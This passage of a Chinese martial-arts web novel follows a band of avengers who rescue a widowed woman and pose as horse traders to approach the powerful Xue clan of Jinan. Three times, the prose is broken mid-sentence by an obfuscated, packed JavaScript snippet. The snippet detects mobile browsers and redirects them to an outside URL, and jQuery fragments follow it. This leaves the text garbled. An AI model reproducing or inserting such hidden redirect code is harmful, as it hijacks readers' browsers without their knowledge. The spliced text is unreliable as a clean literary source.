他也并非是全然不懊恼的，只是他知晓晏回的性格，生怕惹她愠怒，是以晏回不说，他便也从来不问。今时今日，心中的疑团被楚庸直愣愣地道出，倒生出些许怅然之意。 范凌舟与晏回的初遇，源于一场血腥的误会。 那是初成立的长生观接的第二个委托，无论是范凌舟还是手下之人都尚有些生疏，一不小心，竟让那复仇的对象趁乱逃了。这一下，连一向惫懒松懈的范凌舟都着了慌，命令全观人手都出去寻那逃脱之人。 众人一路找一路追，最后冲入了一处废弃的大宅。外面是大雨滂沱，宅中是鬼气森森，伸手不见五指，众人只能依靠天空中不时划过的闪电分辨前路。好在范凌舟耳聪目明，将那人从一尊歪倒的佛像后揪了出来，就地正法。 众人皆长出一口气，正欲撤离之时，范凌舟却又出手如电，探向佛堂的供桌之下。说时迟那时快，供桌下的阴影里，一道纤细身影如匍匐的猞猁骤然杀出！范凌舟足尖一点，身形如纸鸢般飘后丈许，堪堪避过直刺心口的短刃。 范凌舟挑眉，看向那随着呼吸而微微颤动的人影。那人身形单薄，左臂不自然地垂着，显是受了伤，持刃的右手却稳如磐石，看身形竟是一位姑娘。 “这位姑娘，”范凌舟语气平静，带着几分笑意，“我等追凶至此，与姑娘无冤无仇，何必出手便是杀招？” “草菅人命之徒，人人得而诛之！”女子腕花一转，再次扑来。她的身法诡异狠辣，招招直取要害，却因左臂使不上力，动作间终究是落了下风。范凌舟侧身避过她的扫堂腿，指尖在她刀背上一弹，只听“嗡”的一声，短刃竟自脱手，“哐当”砸在供桌前面的地上。 还不待范凌舟再做解释，那女子竟不顾门户大开，合身撞了过来，灵活的右手闪电般探向供桌——那里摆着一个硕大的青铜香炉，炉灰厚积，香灰中隐约有着火星。 范凌舟瞳孔微缩。这姑娘分明是玉石俱焚的打法！他旋身欲擒住她的手腕，却见她猛地掀翻香炉，炉灰劈头盖脸地洒满了二人所在的空间。 “嗤——” 那女子动作如风，不知何时从怀中摸出了火折子，冲着空中猛然吹亮。火星遇着干燥的香灰，骤然爆发出刺目火光！“轰”的一声爆响，浓烟裹挟着火星冲天而起，将整个佛堂照得亮如白昼！ 范凌舟被火气唬得立时偏头，眼角余光却死死钉在那火光中央—— 19.生死签（二） 那是一张被爆燃的火焰映得雪白的脸。紧蹙的眉，紧抿的唇，以及一双在火光中亮得惊心动魄，琥珀般的眸。雨水从她湿透的发梢滴落，混着额角的血珠，划过下颌线，坠在墨色的衣襟上，洇出更深的黑。 在这样一个被倾盆暴雨浸湿的夜里，范凌舟只从那女子身上看出四个字。 不死不休。 那是一种比任何美貌都更加深入人心的震撼，那是从死亡和绝望中磨砺而出的锋锐，到如今回想起来，范凌舟还是不得不为之动容。 楚庸若有所思地点了点头，轻声道：“晏回姑娘，的确是世间罕有的美人。” 范凌舟瞬时露出一种暴殄天物的痛心疾首，大声纠正道：“楚兄，你简直是牛嚼牡丹！那是美吗？那是我花开后百花杀的气势啊！”接着又叹了口气，意犹未尽道，“西楼，天生该是长生观之魁首。” “所以，你就将晏回姑娘请入了观中？” “自然”，范凌舟点头道，“这般龙鸣之剑，岂能屈居石鞘之中——” 话音未落，院门被猛地推开了，无论是倾身耳听的楚庸还是惫懒歪坐的范凌舟都不由得站起身来。 “救人。”范凌舟口中的“龙鸣之剑”正快步走进院中，背上还负着一个全身是血的人。 * * * 青杳只觉自己躺在一条于风浪之中颠簸的小船上，每一次波动与拍击，都让她承受着锥心刺骨的痛。意识像是沉在冰水里，时而模糊时而清醒，眼前却总晃动着薛负的脸。 她的负郎…… 寒夜里将她的脚揣进怀里的负郎，笨拙地学做她爱吃的桂花糕的负郎，站在巷口替她赶走恶犬的负郎，从来不曾对她疾言厉色的负郎…… ——杳娘，族里有要事相商，要我去祠堂一叙，午饭便不要等我了。 那日离去前的负郎还是笑眯眯的。 ——噤声！莫让他们听了去！ 可回来时的负郎，却仿佛被人摄去了魂魄，满目惊心。 ——逃啊！杳娘，逃啊！ 薛负无声的呐喊穿透了时空，在青杳的耳畔炸响。 她伸出手，想要抓住什么，却只捞到一把凄冷无望的海水。泪眼朦胧间，她抬头望去，只见天空裂开一道缝，刺目的白光踏山蹈海而来，青杳终于缓缓睁开了眼睛。 入目是灰扑扑的帐顶，鼻尖萦绕着浓重到近乎苦涩的草药气。青杳只觉浑身的骨头像是被人一一砸断又连接，稍一动弹便疼得令人几欲作呕。 “……断了六根肋骨，内腑震荡出血，能撑过这七日已是万幸。”一阵清冷的女声从帐外传来。 “万幸？哎……她若再不醒，我这金镯子可就要全数算作她的买药钱了……” “哦哟，大狐狸，从死人腕上褪下来的东西，你倒是不嫌晦气！” “什么晦气，没钱才晦气！” 帐外，晏回仿佛没听见范凌舟和唐珠儿聒噪的争执，正认真翻阅着一卷医书。楚庸则垂首一旁，眉头紧锁。窗外的雨幕时松时紧，却始终淋漓不停。 这时，帐帘微微掀动，方才还躺在床上的青杳，一用力滚到地上，枯瘦的手还拼力探向晏回的方向。 “求……求恩人救……小女子夫君一命……” 许是多日未曾言语，青杳的声音嘶哑破碎，难以卒听。 楚庸欲上前搀扶，又恐男女有别，强行止住了步子，向唐珠儿看去。唐珠儿会意，砸吧了一下嘴正要上前，却见晏回放在身后的手，微微摆了摆。 “你的夫君？”晏回放下手中的书卷，轻声道。 “是！小女子的夫君……薛负，与小女子一道被人追杀，被人……吊在树上，生死不知……”每说一个字都牵扯着肺腑的伤，青杳哽咽不成句。 “那日在悬崖下，我只寻到了你。”晏回定定地看着她，字字清晰，“更何况，从你昏迷到醒来，早已过了七日。” 青杳只觉晴天霹雳，整个人不可抑制地簌簌抖了起来。七日，竟然已经过了七日吗？那负郎……如何还有生路啊！一口热血直冲心口，青杳一张嘴，一团鲜红便呕了出来。 “哎呀……刚喝了药……”唐珠儿小声叹道。 楚庸更是感同身受，惶急地朝晏回看去，而晏回的面上却始终一派平静。 “负郎若死，我亦无法独生——”青杳伏在地上，泪水噼里啪啦地砸了下来，语气却是坚定如铁，“让恩人作难了……” “想死——倒也不是不可以。”始终未发一言的范凌舟悠悠道，“只是这位夫人，观中也没有余粮了，为了救你，贫道可是一个金镯子都搭上了。你若这般死了，怕是有些不厚道吧——” 跪在地上的青杳忍着剧痛缓缓叩头，口中哽咽道：“小女子身无长物，唯有来世结草衔环，报答——” “姑娘！”一声断喝，让所有人都不由一怔，竟是楚庸冲上来，蹲在青杳面前，也不顾男女大防，用力扶住对方孱弱的肩膀。“这些日子来，你梦中喊的念的夫君，若泉下有知，当真希望你随他而去吗？他难道不是拼尽全力才换得你逃生吗？为什么你好不容易才醒转过来，第一件想到的事，却是再次送死呢！” “姑娘，与其懦弱就死，为何不——血债血偿！” 青杳怔怔抬起头，看向面前的男子，他双目泛红，似乎承受着和她相同的锥心之痛。因为大病初醒，又加上强烈的情感波动，她很难完全理解目前的情形。但不知为何，对这些素未谋生的男女，青杳却起了同病相怜之感。 她总觉得，这些人经历过与她相似的苦楚，也压抑着与她相似的愤怒。而此刻，那掩藏在心中的隐隐的怒火，即将燎原。 一丝清浅的笑爬上晏回的嘴角，她抬步上前，倾身看向青杳。午后的阳光斜斜流溢而入，将她细碎的发丝镀上一层金边，她背向着光射入的方向，将青杳笼罩在一片充满安全感的阴影之中。 “所以，你想报仇吗？” * * * “薛家在济南府经营数代，手眼通天，不可硬闯。青杳只知薛负被追杀，却不知具体是谁下的手——这第一步，得先查清仇人是谁。”昏暗的石室之中，范凌舟以扇击掌，若有所思道。 “这还用查啊，”唐珠儿仰着脖子，将一粒饱满的花生抛入口中，“那小娘子不是说了，薛负是参加完祠堂议事后才遭人追杀，定是撞破了族中什么不堪的秘事，这才枉死。”她眯起眼睛，嘴角勾起一丝玩味而兴奋的笑：“咱们就查他们族里管事儿的，一查一个准！” 楚庸看看胸有成竹的唐珠儿，又瞅瞅轻摇折扇的范凌舟，最后把目光投向始终一言不发的晏回。这是他加入长生观以来，第一次有幸参与筹谋计划，生怕多说多措，是以始终缄口不言。但他相信，晏回姑娘心中早已有了计较。 只见女子的食指正缓缓在桌面上划过，隐约可见一个“薛”字。 “薛氏一族，主事者有三。老大薛承宗，多疑冷僻；老二薛承业，贪婪爱财；老三薛承文，低调伪善，皆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646469|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非好对付的角色。” 范凌舟闻言，颇有默契地微微一笑。晏回此人，若无百分之百的把握，绝不会将计策宣之于口。 “西楼，这么说，你是找到好下手的软柿子了？” 晏回颔首道：“或可一试。” * * * 辰时刚过，济南府西门外的丁字街已是人头攒动。水汽混着马粪味儿，吆喝声合着骡马嘶鸣，人群拥挤马蹄踢踏，好不热闹，正是一月一度的马市盛会。众商贩牵着千里迢迢运来的马匹，从泺口码头汇集至此，经马市官验放后入市交易。而这其中聚了最多人流的，当属丁字街北头的“王记马行”。 据说，王记马行新上了数匹辽东来的“走阵马”，神骏非凡，是能驮着主人冲阵厮杀的硬茬儿，绝非北直隶的驽马可比。是以，济南府各处的“马痴”们皆纷纷前来围观。 “让让！都让让！”一声脆亮的马鞭声在空中炸响，惊得围观人群慌忙向一旁让去。只见数名小厮护着一名华服公子排众而出，占据了观马的好位置。 “哟！这不是咱薛小爷吗！贵客贵客！”一见来人，马贩子王五六赶紧迎了上来，脸上笑容璀璨，如同一朵密密匝匝绽放的菊花。 来人正是济南府薛氏的幺爷——薛世茂，此人嗜马如命，更兼之出手阔绰，不计性价，只图痛快，是马贩子们求之不得的人物，人送诨号：马迷瞪。 “小爷，您快上上眼！”王五六眉开眼笑地翻开一匹黑色大马的马耳，指给薛世茂看，“您细瞧，宣府马市的火印，咱这可是官验过的‘上马’。” 最后“上马”二字，王五六刻意提高了声量，恨不得喊到周围所有人的耳朵里去。是时，官市将马匹分为上上马、上马、中马、下马、驹五级，价格差异悬殊，马的素质更是天差地别。能被官市列为“上马”的良驹，绝对算得上百里挑一的好马了。 闻言，薛世茂浓眉一挑，命令道：“瞧瞧牙口。” “得嘞！”王五六赶紧按住马下颌，拇指顶开马唇。 薛世茂只是略略瞟了一眼，砸吧了一下嘴，目光却飘向了那黑色大马的身后。 “诶——”只此一眼，薛世茂竟是有些出神，移步过去，只见一匹枣红色的马儿正立在晨光之中。那马儿浑身如同泼了朱砂，一根杂毛也无。鬃毛极是柔顺，泛着一层金红色的光晕，竟是辽东特有的“燎原火”！ 据说，真正的燎原火能够日行三百里不喘，夜奔山道如履平地，甚至面对火铳轰鸣都能听而不闻，是为战场神驹。 这次，薛世茂已经等不及王五六替他掰开马唇看牙口了，自己便探手过去，岂料手还没碰到马毛，那马儿却起了性子，猛地甩头，唾沫星子溅了他一脸。 见此情形，王五六吓得脸色发白，薛世茂却毫不在意，笑赞道：“好马！” 他“刷”地收起摇动的折扇，盯着枣红马的双眼灼灼发亮：“让它走两步看看。” 王五六哪敢推辞，捉住枣红马的缰绳，就欲带它去马市的空地上转转。可那枣红马性子上来了，哪里肯依，见王五六作势拉扯，突然原地腾跃半尺，后腿飞踹，前蹄落地却悄然无声。 生怕马儿伤人，人群呼啦啦散了开去，连薛世茂的小厮们都下意识后退了数步，唯有薛世茂满脸喜色，如同见了肥鱼的猫儿一般，眼神都不转了，连连赞叹：“当真踏雪无痕！这气势，这傲骨，简直是赤兔再世啊！” 薛世茂的眼里早没了旁人，忘乎所以地朝着枣红马扑去。 20.生死签（三） 见薛世茂又犯了“痴病”，王五六吓得赶紧拦阻，口中喋喋着：“小爷使不得，这马崴拉得很，鞍鞯还没上呢！” 薛世茂哪里肯听，一把薅住马鬃，仗着蜂腰猿臂，翻身跃上：“爷就是稀罕它的性子，若是它——啊！” 话音未落，燎原火已如离弦之箭窜了出去。街边正有小贩挑着筐卖豆腐，被人立而起的燎原火吓得一个踉跄，豆腐块豆腐渣洒了一地。此时，人们正躲避马蹄的踩踏四散而逃，无数双脚踩在滑腻的豆腐上，当下便跟下饺子般摔倒了一片，吃痛声惨叫声不绝于耳，而燎原火早已负着薛世茂往泺源门的方向奔去。 “祖宗诶！”王五六急得直拍大腿，呵斥呆愣在原地的小厮们：“还不快追！” 一行五六人在王五六的带领下，跌跌撞撞而去。 话说马背上的薛世茂初始并不觉得怕，他压低身子伏在马背上，能清晰感受到马腹下的肌肉起伏鼓动，每一步都踏在心跳的节奏上。风从耳边呼啸而过，行人惊恐的脸如同高低错落的麦浪，薛世茂只觉自己化身冲入敌阵的将军，大喊一声：“杀啊！”双腿用力一夹马腹，催促燎原火跑得更快些。 可当燎原火带着他，从泺源门的守城官兵头顶一跃而过，冲入城外的蒿草丛中时，这位从小娇生惯养的世家公子才觉出怕来。 “吁——吁！”他一紧缰绳，妄图让飞奔的燎原火慢下来。孰料，他在马背上忙活得满头大汗，又是呵斥，又是命令，燎原火不仅没降速，反而顶着劲儿越跑越快。薛世茂着了慌，拼命拉扯缰绳，燎原火一甩头，后蹄猛地向上撩起，差点儿把薛世茂从背上掀翻下来。 薛世茂只觉头脑一片空白，大腿不受控制地哆嗦起来，方才壮怀激烈的将军，此刻成了惜命如金的懦夫，只一个劲儿的哑着嗓子喊：“吁——吁吁！别跑了吁！” 可惜，老天今日对薛世茂的作弄还未尽兴，面前绵延无尽的蒿草地被一条河流生生截断，水波喧嚣，河面宽广，而那燎原火似乎铁了心要冲入大河之中！ ——完了，今日就要交待在这了…… 薛世茂不会浮水，若真随那燎原火冲入河中，只怕马上就能沉底儿。危难之际，薛世茂一狠心，松开被自己拽得汗涔涔的缰绳，深吸一口气，护住头脸，作势要往马下跳！ 耳边是呼啸而过的风声，脸上是肆意流淌的热泪，薛世茂闭紧了眼睛，只待那痛彻心扉的一撞！ 下一瞬，薛世茂只觉腰上一紧，一股绵长之力袭来，斜飞而出的窘势被那力道立时扶正，随着惯性在空中转了两圈，脚下一硬，竟是稳稳触到了地面。 “兄台，当心。”耳畔的男声清俊温和，文质彬彬，让薛世茂心头微松，小心翼翼地睁开了眼睛。 眼前，立着一位穿松绿衫子的青年公子，面色白皙，萧萧谡谡，整个人端望着清秀非常，尤其是一双琥珀色的眼瞳，温文带笑，让人见之心喜。唯一美中不足的是，那双眸子下泛着淡淡的青色，带出了几分病气。青年公子背后站着一匹白马，亦是皮毛如玉，莹然生光，饶是薛世茂此刻三魂吓没了七魄，还是偷眼多瞧了下。 “兄台未上鞍鞯，便能骑此烈马，西楼佩服。”青年公子似乎对薛世茂方才的险境毫无所觉，真心实意地赞扬道。 “是……是吧！”薛世茂佯装甩头，赶紧擦了把额上的冷汗，笑道：“兄台你也不错，若没有你帮忙，只怕我……怎么着也得踉跄两步吧！” 青年公子也不点破，与薛世茂相视而笑。薛世茂嘴上硬挺，可心里清楚得很，若没有刚刚这位公子的一拽一拉，他极有可能被飞奔的惊马踏于蹄下，别说什么面子了，恐怕连命都会送了去。所以，男子可算得上是他的救命恩人。而这位恩人不仅没有得理倨傲，反而温和有礼，谦逊忍让，让平日眼高于顶的薛世茂打心眼里生出亲近之意。 “在下薛世茂，敢问兄台高姓大名？” “在下晏回，字西楼——” 正说着，薛世茂见远处又跑来三人，一名书生打扮的年轻男子，一名杏面桃腮的小丫鬟，还有一名长相普通着短打的中年男子，三人将青年公子围了起来。 “公子！你可吓死奴婢了！”小丫鬟嚷道，同时怒气冲冲地瞪了薛世茂一眼。 “是啊公子，正算着账呢，你人就跑没了，原来——”那书生打扮的年轻男子打量了一下薛世茂，目光颇有些戏谑之意，“是为了救这位公子啊！” 唯有中年男子没有说话，只是牵着白马侍立一旁。 这三人，正是乔装改扮的唐珠儿、范凌舟与楚庸。 薛世茂被众人说得有些不好意思，挠了挠头，道：“倒是耽误了晏兄的正事儿，这样，正好到了吃饭的点儿，就由我做东，请诸位在聚丰楼一叙，诸位可愿赏光？” 范凌舟和晏回对视一眼，轻摇折扇，悠悠道：“公子，既然这位薛公子如此盛情，我等再推辞便是矫情了。咱们初到济南府，人生地不熟，若是由薛公子给咱们说说这府城的风土人情，自是再好不过了。” 唐珠儿一听有好吃的，眸子一亮，脸上也带了笑意，冲着薛世茂甜甜道：“薛公子，奴婢听闻济南府有一名吃，唤作‘把子肉’，聚丰楼里可能吃到？” 女孩儿双瞳剪水，一派天真可爱，薛世茂胸中的几分狼狈早已化作世家公子的万丈豪情，只觉若是照顾不好这几位远道而来的客人，自己在济南府便再也混不下时日了，当下拍着胸脯道：“莫说是把子肉，自要是诸位想吃的，便是天上的龙肉，薛某也定要给诸位薅下来！” 众人说笑间，薛世茂的小厮和王五六终于姗姗来迟，而那差点儿惹下大祸的燎原火也没有跑远，一直在河畔啃食青草。一行人牵着马，闹闹哄哄地往聚丰楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655592|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而去。 * * * 聚丰楼三楼临湖的雅间内，薛世茂岔开双腿，大马金刀地坐在主位上。过不多时，聚丰楼的掌柜便亲自赶来雅间伺候。见那掌柜的深吸一口气，鼓起胸膛正欲报菜名，薛世茂脸色一板，斥道：“自家馆子还报什么报？自管把最好的最贵的呈上来！”掌柜的陪着笑脸，喏喏而去。 唐珠儿掩嘴佯笑道：“公子，你瞧，薛公子好不威风！” 薛世茂嘴角不受控制地扬起，心中竟是比吃了蜜还要甜上几分，身边小厮见状，赶紧锦上添花道：“晏公子有所不知，聚丰楼本就是咱自家产业，自然是咱小爷说得算。” “诶——”薛世茂造作地一抬手，拦道：“与晏公子说这些没用的作甚，我只是觉得，晏公子风度翩翩，君子如玉，这偌大的济南府，也唯有聚丰楼能配得上晏公子的身份品性。” 薛世茂此言非是讨好吹捧，而是出自实打实的真心。他青睐晏回年纪轻轻便武功了得，比自己有过之而无不及；更佩服晏回明明如此风姿卓绝，却偏低调内敛，让人见之难忘。 晏回轻摇折扇，笑得温文：“薛公子说笑了，薛公子出身世家大族，却毫无纨绔习气，任侠率真，浑然天成，恰如未经雕琢的璞玉，虽有棱角，却自带着一股鲜活生动的少年意气。能与公子这般性情中人同席，倒是西楼的福气。” 薛世茂只觉内心激荡，一股暖流直冲天灵盖，年近弱冠，他自是知道周围人都如何议论他。当着他的面儿，皆是少爷公子的喊着，可背地里，又有几人真心与他相交呢？可偏偏这位萍水相逢的晏公子，他看出了他的率性，读懂了他的真诚，如何不让薛世茂心潮澎湃呢？ 缓慢摇动扇柄的素手被猛然挟住，晏回一扭头，正撞进薛世茂晶莹闪亮的瞳仁里：“晏兄！你——”薛世茂的声音里都带了几分颤抖，“你自今日始，便是我薛世茂异父异母，嫡嫡亲的弟兄！” “诶！上菜咯！”二人的手还没握热，范凌舟已经一把抢过小二手中的托盘，从二人之间挤了过去。擦肩而过的间隙，薛世茂只觉寒意顿生，定睛细看，范凌舟低眉浅笑，似乎毫无芥蒂。薛世茂疑惑地挠了挠头，还以为是自己今日遇险，不免杯弓蛇影，只得作罢。 菜品如流水般涌入雅间之中，薛世茂上蹿下跳地给众人介绍着。 这一场席下来，众人吃得酒足饭饱，倒把薛世茂累得瘦了三斤。待看着众人都面露餍足之色，他方才松下劲儿来，卷了几卷大饼吃。 “都说济南府‘一菜一味，百味不重’，今日才算见识了。”范凌舟用筷子挑起一块白嫩的鱼肉，饱沾了糖醋汁，送入口中。 “是啊，公子，咱们这府城算是来对了。”珠儿笑着道。 闻言，薛世茂放下给晏回添酒的酒壶道：“对了，不知西楼兄来咱济南府，所为何事啊？” 21.生死签（四） 晏回微微一笑，眼睛朝楼外的西北方瞟了瞟，正是马市所在：“倒是来抢那位王掌柜的生意的。” ——王掌柜？王……王五六！？ “贩马！！”薛世茂腾地站起身，双眸炯炯如朗月映江。 “是呀，我家公子可是官验的马商呢，专跑撒马儿罕到中原的商路，一年至少两个来回。”唐珠儿竖起手指，在薛世茂已然入迷的眼前晃了晃，“别说是我家公子了，就是奴婢，闭着眼睛走那凉州路，都不带崴脚的！” “珠儿，不得造次。”晏回眼见唐珠儿吃得满意，嘴上便没了把门的，吹嘘起来天花乱坠，赶紧出言阻止。可薛世茂哪里知道，还当晏回是个有身份的，需得低调行事，便赶紧压下声调，小心翼翼道：“这么说，西楼兄此番来济南府，是带了马？” 晏回以折扇掩口，微微颔首：“自是带了马。” * * * “西楼，我瞧着啊，有些人是该戒酒了。”范凌舟靠在美人榻上，翘着二郎腿悠悠道。 一枚果核以迅雷不及掩耳之势直扑范凌舟面门，范凌舟状若无意地偏头躲了去，就听唐珠儿已然骂将起来：“少在这儿指桑骂槐，什么这人那人的，臭牛鼻子，你不就是说我吗！” “让你听出来了呀！”范凌舟眯眼笑道，“贫道还以为咱们小班主喝了几壶酒就辨不出东西南北，分不清轻重缓急了。” “晏回姊姊，你看他！” 晏回轻轻叹了一口气：“吵嘴无益，那薛世茂既然嚷着要看马，便定然要给他个说法才是。” “要不……我趁夜——”唐珠儿蹙起眉，眸里现出一抹戾色。 “打住打住，这人还有用。”范凌舟赶紧摇头。 “晏姑娘，可有什么办法？”憋了半日的楚庸终于问出了一句。 晏回细长的手指有节奏地敲击着桌面，良久方道：“怕是要请竹帖了。” * * * 三日后，薛世茂如约来到历山下的一处草场。 草场位于山脚背阴处，碧野连天，一望无垠。正值盛夏，又逢夜雨，将草场之中连绵相接的湖泊悉数填满，莹然闪亮，远远望去，如同一串价值连城的东珠点缀在美人颈间。而湖泊之间又偶有花甸显现，其上鲜花盛放，迎风招展，美不胜收。 薛世茂深深吸了一口气，极目远眺，正自出神，却忽觉地面隐隐震动，初时如闷雷滚过，转瞬便化作密集的由远及近的“哒哒”声。只见草场与天际线的交接之处，一道灰黑色的洪流正冲破晨雾，裹挟着疾风奔涌而来。 领头的那匹白马神骏异常，四蹄翻飞间，银鬃如瀑，马背上的人影却稳如磐石。晏回换下了那身松绿的衫子，一身玄色劲装勾勒出利落腰线，往日温文带笑的眼瞳此刻锐利如鹰。她单手控缰，身姿随着马匹的奔驰起起伏伏，宛若乘风破浪的鲸鲵，哪里还有半分病弱书生的模样，活脱脱便是纵横西域的商队首领！ 此时，不光是薛世茂看呆了，便是他身后跟随的数名小厮，也难掩惊奇，啧啧出声。 及至马群奔至近前，薛世茂等人都能感受到马群喷响鼻的热气时，闻听一声清叱，骑在马背上的晏回一扯缰绳，身下的白马前蹄凌空一顿，便如扎入泥地的羽箭一般，除了银白的马尾还在轻轻晃动外，马身便定在原地，一动不动了。紧随其后的数十匹骏马也纷纷人立而起，嘶鸣声此起彼伏，却无一匹冲撞上前，齐刷刷地停在薛世茂眼前。 这一手惊为天人的御马之术，让薛世茂与众人只能目瞪口呆，木讷拍手，连溢美之词都忘了说。 晏回收敛一身杀伐果断之气，冲薛世茂微微一笑，翻身下马，拱手道：“不知在下的马，薛贤弟可还瞧得上眼？” 闻言，薛世茂赶紧直起身子，背着手，饶有兴致地端详起来。除了第一次曾见过的照夜白，薛世茂几乎是一匹一匹，仔仔细细地看过去，唯恐疏忽错过。他一会儿蹲下身看看马蹄，一会儿凑近了摸摸马耳，一会儿又离远了瞅瞅马骨架，一番上蹿下跳，眉头却是越皱越紧。 见他始终不言语，几个跟着薛世茂的小厮也看出了端倪，初始被杀下去的狂傲劲儿也上来了，其中一个愣头青便不咸不淡地小声嘟囔道。 “小的瞧着，这马也不咋地。” “可不怎地，马嘴都黑黑的，跟舔了圈儿芝麻糊似的。”另一名小厮帮腔道。 “还有这毛，乱哄哄的，一点儿也不顺滑。小爷不是说过吗，好马就得毛亮条顺！” 几个小厮越说越起劲，倒都摆起伯乐的谱儿，品头论足起来。 晏回也不恼，只是笑着立在一旁，手中的折扇微微摆动，悠闲得紧。 “都给我闭嘴！”就在这时，薛世茂突然怒喝一声，他似乎强自压抑着内心的情绪，连声音都微微发颤：“黑嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664108|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……卷毛……阔蹄……这是……这是……” 他不敢置信地看向晏回，却见对方笑着颔首，似是认同他未曾说出口的话语。 “这是……多年未曾出现的拳毛騧啊！” 晏回眸色一亮，赞道：“薛贤弟当真慧眼如炬，这群马正是——拳毛騧！” 相传，拳毛騧乃是唐太宗李世民的战马，是为“昭陵六骏”之一。因其周身旋毛卷曲、毛色黄黑相间而得名。拳毛騧稳重悍勇，屡立战功，更是在平定刘黑闼的战役中一战成名。唐时对拳毛騧的记载最为详实，不仅见诸史料石刻，更是于诗文中屡屡出现。然自宋代以后，拳毛騧就逐渐消失在史文瀚海中，再难得见了。 薛世茂本就是马痴，此刻更是心潮澎湃，难以自持。自见到晏回的第一面，他便认定这位“异姓兄弟”同他一般，乃是当世豪杰，日后定能有大作为。今日见了这么一大群拳毛騧，他更是笃定了心中所想。 只见薛世茂敛容正色，拱手一拜：“西楼兄！” 薛世茂突然行此大礼，晏回一惊，慌忙让开，却被薛世茂一把抓住了手腕，满是热忱道：“西楼兄！你是人中龙凤，又有这般天马神驹，岂是寻常客栈和草场能安置的？他们……他们也配！？今日你务必随我回府！” “小弟不才，在砚池畔亦有一处草场，牧草丰美，泉眼甘甜，便是给昭陵六骏当行宫也使得！” 晏回浅笑着抽回手，垂眸道：“贤弟美意，西楼心领了。只是这拳毛騧性子烈得很，当年太宗皇帝都需专人驯牧，寻常马厩的木栏可关不住它们，万一惊扰了府中上下……” “兄长过虑了！”薛世茂恨不得将心肝掏出来以示诚意，“砚池畔的草场比这里还要大上数倍，四周更有天然石山相阻隔，莫说几十匹拳毛騧，便是再来百匹天马也容得下！”见晏回仍在犹疑，薛世茂急得像苍蝇般直搓手，“兄长若信得过小弟，那马场你尽管用！住多久用多久，分文不取！只求能让小弟日日瞧上一眼这神驹天马……兄长！小弟求您了！” 晏回望着远处在晨雾中甩尾的马群，忽然轻轻勾唇，那笑意顺着眼角细纹漾开，极快地散了开去，再也难寻：“既是如此，那愚兄却之不恭了。” 薛世茂登时眉开眼笑，一叠声地“好说好说”，忙不迭地催促着小厮牵马备车。他兴冲冲地走在前面，全然未瞧见晏回合拢折扇，在掌心中轻轻一击。 22.生死签（五） 因着薛世茂异于常人的热情与真诚，晏回等人不得不立即启程，前往薛府安置。忙活了大半日，除了留在砚池马场看护马匹的楚庸，晏回、唐珠儿和范凌舟于傍晚时分，踏入了薛府会客的花厅。 夏季日头落得晚，此时正是晚霞漫天，烫红的夕阳顺着花厅的弦窗流泻而入，铺陈满地，映得整个厅堂都红彤彤的，呈现着一种略显调诡的热闹喧嚷。与那万红一窟的色调相反，花厅中的氛围却略显严肃冷硬。 甫一踏入厅堂，晏回便微微抬眸，将堂中三人一一看过。端坐于主位的是薛世茂的父亲，薛氏一族的当家人薛承宗，已过耳顺之年，鬓发斑白，脖颈微微向前勾着，倒是符合这个年纪该有的疲惫之感。 与薛承宗的凝然不动截然相反，族中二叔薛承业则活泛得多。他身材颇胖，肥腻的项子从宝蓝色的衫子领口处挤了出来，在下巴处堆成一叠，随着他夸张的笑声一颤一颤。他手里盘着两颗油光锃亮的核桃，正自咔嗒作响，见晏回等人到来，赶紧停了手上的动作，殷勤地站起身，向里迎着：“贵客贵客！来，快请快请！” 坐在最左侧的三叔薛承文也随之站了起来，微微倾了倾身，眼神却只是往晏回面上略略一瞟，随即便闪了开去，端坐在一旁不动了。 “诸位，我来介绍一下！”薛世茂一个箭步蹿到近前，笑容灿烂地张罗着。“爹，二叔，三叔，这就是我跟你们提过的晏回公子，从西域来的大马商！” 晏回笑着拱手，态度极为谦和：“在下晏回，见过薛老爷，二爷，三爷。”身后的范凌舟与唐珠儿也随着晏回见礼。 “哎呀，莫要多礼，莫要多礼！”薛承业抬手去搀，却听薛承宗冷冷蹦出一句：“马商……若要从西面入府城，想必是经过了卧牛山吧！” 始终惫倦垂着头终于缓缓抬起，抬眼看向晏回，浑浊的瞳仁里沁着冷光，那种审视尖刻的打量让人心底里不快，晏回却是温声应道：“薛老爷说得是，正是经过了卧牛山，山路难走，还耽误了几日行程。” “可是听闻什么异事？” “异事……”晏回笑容坦荡，面色平静如常，“小侄只顾赶马，如履薄冰，倒是没有心思打听什么异事，范掌柜，你可听闻？” 范凌舟翘起嘴角，左侧脸颊漾起一个纯良且正直的笑涡：“回公子，未曾。” 